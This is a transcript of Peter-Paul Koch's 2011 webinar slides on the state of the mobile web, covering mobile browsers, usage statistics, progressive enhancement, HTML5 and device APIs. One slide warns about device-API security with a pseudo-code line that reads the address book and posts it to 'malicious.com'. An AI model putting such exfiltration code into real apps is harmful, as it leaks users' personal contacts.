State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.
-
Upload
rosalyn-matthews -
Category
Documents
-
view
216 -
download
0
Transcript of State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.
![Page 1: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/1.jpg)
State of the mobile web
Peter-Paul Kochhttp://quirksmode.org http://twitter.com/ppk
Gomez Webinar , 24 March 2011
z
![Page 2: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/2.jpg)
Mobile First!
•Design your sites for mobile first.
•You’ll be forced to decide what is so important that it MUST be shown in the mobile device’s tiny display.
•The things you leave out of the mobile version don’t really need to be in the desktop version, either.
![Page 3: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/3.jpg)
•Safari iPhone•Android WebKit•Dolfin for bada•BlackBerry WebKit•Opera Mobile•Opera Mini•MicroB•Nokia WebKit•Firefox•Obigo WebKit•Ovi•Bolt•BlackBerry old•Phantom•Obigo old•NetFront•IE •UCWeb
The mobile browsers
You may groan now.
![Page 4: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/4.jpg)
•Safari iPhone•Android WebKit•Dolfin for bada•BlackBerry WebKit•Opera Mobile•Opera Mini•MicroB•Nokia WebKit•Firefox•Obigo WebKit•Ovi•Bolt•BlackBerry old•Phantom•Obigo old•NetFront•IE •UCWeb
The mobile browsers
WebKit-based
![Page 5: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/5.jpg)
WebKit on MobileThere is no WebKit on mobile!
There's iPhone Safari (2 and 3), and Android (1.0 and 1.5)and S60 WebKit (v3 and v5)and Blackberry WebKit,and Palm WebKit,and Bolt, Ozone, Teashark, and a few more
These WebKits are all different.
![Page 6: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/6.jpg)
Exhibit A: WebKit comparison tablehttp://quirksmode.org/webkit.html
![Page 7: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/7.jpg)
•Safari iPhone•Android WebKit•Dolfin for bada•BlackBerry WebKit•Opera Mobile•Opera Mini•MicroB•Nokia WebKit•Firefox•Obigo WebKit•Ovi•Bolt•BlackBerry old•Phantom•Obigo old•NetFront•IE •UCWeb
The mobile browsers
![Page 8: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/8.jpg)
•Safari iPhone•Android WebKit•Dolfin for bada•BlackBerry WebKit•Opera Mobile•Opera Mini•MicroB•Nokia WebKit•Firefox•Obigo WebKit•Ovi•Bolt•BlackBerry old•Phantom•Obigo old•NetFront•IE •UCWeb
The mobile browsers
Proxy browsers
![Page 9: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/9.jpg)
Proxy browsers
•Page is downloaded to and rendered on a specialised server.
•A highly compressed image is sent to the client.
•Advantage: cheap, both in device and in network costs
•Disadvantage: no client-side interactivity
![Page 10: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/10.jpg)
Global stats Q4 2010
(by StatCounter)Safari23%
iOS Stable
Opera22%
Many OSs Stable
BlackBerry
18%
BlackBerry Down
Nokia16%
Symbian (and S40) Stable
Android12%
Android Up
NetFront 4%Sony Ericsson and Samsung
Stable
Samsung 1% bada Up
UCWeb 1% Many OSs Down
Others 3%
![Page 11: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/11.jpg)
Browser stats
•Those are GLOBAL stats; they are not necessarily correct for the sites you’re working on. Always check your stats.
•Social media referrals cause disproportionate iPhone visits; and Android to a lesser degree.
![Page 12: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/12.jpg)
Stats(global, Q4 2010)
![Page 13: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/13.jpg)
Rest? What rest?
But usually this is what happens
![Page 14: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/14.jpg)
Which mobile browsers?
•Safari iPhone
•Opera Mini
•Android WebKit
•US: BlackBerry (WebKit and older)
•Europe: Nokia WebKit
•Dolfin for bada (easy)
•Opera Mobile (easy)
![Page 15: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/15.jpg)
Progressive enhancement
How do you deal with this immense amount of browsers?
Use advanced tricks, but make sure your site remains usable without them.
The site is enhanced as much as the browser allows.
![Page 16: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/16.jpg)
Progressive enhancement
HTML
All browsers support HTML. That’s the definition of a browser.
![Page 17: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/17.jpg)
Progressive enhancement
HTML
Basic CSS
All browsers support most basic CSS. There will be bugs, but only few.
![Page 18: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/18.jpg)
Progressive enhancement
HTML
Basic CSS
Advanced CSS
Advanced CSS is restricted to advanced browsers. Make sure it contains nothing vital; just nice extras.
![Page 19: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/19.jpg)
Progressive enhancement
HTML
Basic CSS
Advanced CSS
Basic JavaScript
All browsers support basic JavaScript, but they can be slow. Maybe switch off in BB5 and lower.
![Page 20: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/20.jpg)
Progressive enhancement
HTML
Basic CSS
Advanced CSS
Basic JavaScript
Advanced JavaScript
Advanced JavaScript is a problem. Feature detection is your friend. Make sure it contains nothing vital.
![Page 21: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/21.jpg)
PerformanceHow long does it take to generate 250 lists with 20 items each?
The following graphs give the number of seconds it took the browsers.
http://quirksmode.org/m/tests/DOMspeed.html
![Page 22: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/22.jpg)
Performance
![Page 23: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/23.jpg)
Performance
![Page 24: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/24.jpg)
HTML5
•Which browsers support HTML5?
•What is HTML5, anyway?
•Ask five web developers and they’ll give you five different answers.
![Page 25: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/25.jpg)
HTML5•Offline storage
•Video and audio
•Canvas
•New input types
•Websockets
•New semantics
•SVG
•File API
•etc. etc. etc.
![Page 26: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/26.jpg)
•Safari iPhone•Android WebKit•Dolfin for bada•BlackBerry WebKit•Opera Mobile•Opera Mini•MicroB•Nokia WebKit•Firefox•Obigo WebKit•Ovi•Bolt•BlackBerry old•Phantom•Obigo old•NetFront•IE •UCWeb
Offline storage
![Page 27: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/27.jpg)
•Safari iPhone•Android WebKit•Dolfin for bada•BlackBerry WebKit•Opera Mobile•Opera Mini•MicroB•Nokia WebKit•Firefox•Obigo WebKit•Ovi•Bolt•BlackBerry old•Phantom•Obigo old•NetFront•IE •UCWeb
SVG
![Page 28: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/28.jpg)
•Safari iPhone•Android WebKit•Dolfin for bada•BlackBerry WebKit•Opera Mobile•Opera Mini•MicroB•Nokia WebKit•Firefox•Obigo WebKit•Ovi•Bolt•BlackBerry old•Phantom•Obigo old•NetFront•IE •UCWeb
New input types
![Page 29: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/29.jpg)
HTML5•Which browsers support HTML5?
•It depends.
•HTML5 is mainly a marketing buzzword.
•That’s not bad; we need it.
•But it has no technical meaning.
![Page 30: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/30.jpg)
HTML5 apps•One core app written in HTML,
CSS, and JavaScript.
•Deployed to several mobile platforms.
•Ideally, CSS and JavaScript are stored on the device.
•If it can't be deployed it's still a website.
![Page 31: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/31.jpg)
Symbian Windows Mobile
I’ve done it. In April 2009.
![Page 32: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/32.jpg)
Device APIs
•Native apps offer device APIs.
•They allow you to access the camera, accelerometer, SMS, file system, etc.
•Web apps will have to offer them, too.device.phone.call(device.addressBook['mom'])
![Page 33: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/33.jpg)
Device APIs
There’s a serious security problem here.Providing trusted apps might remain an app store function.
var ab = device.addressBook.toString();sendRequest(POST,'malicious.com',ab);
![Page 34: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/34.jpg)
Summary
•Mobile First! Design for mobile, and your desktop site will become better, too.
•Use progressive enhancement. Lots of it. It will keep you sane.
•Know which browsers to develop for.
![Page 35: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/35.jpg)
Which mobile browsers?
•Safari iPhone
•Opera Mini
•Android WebKit
•US: BlackBerry (WebKit and older)
•Europe: Nokia WebKit
•Dolfin for bada (easy)
•Opera Mobile (easy)
![Page 36: State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.](https://reader035.fdocuments.us/reader035/viewer/2022062407/56649cda5503460f949a4bf3/html5/thumbnails/36.jpg)
Thank you
• Peter-Paul Koch
• http://quirksmode.org
• http://twitter.com/ppk
• Gomez Webinar , 24 March 2011
• z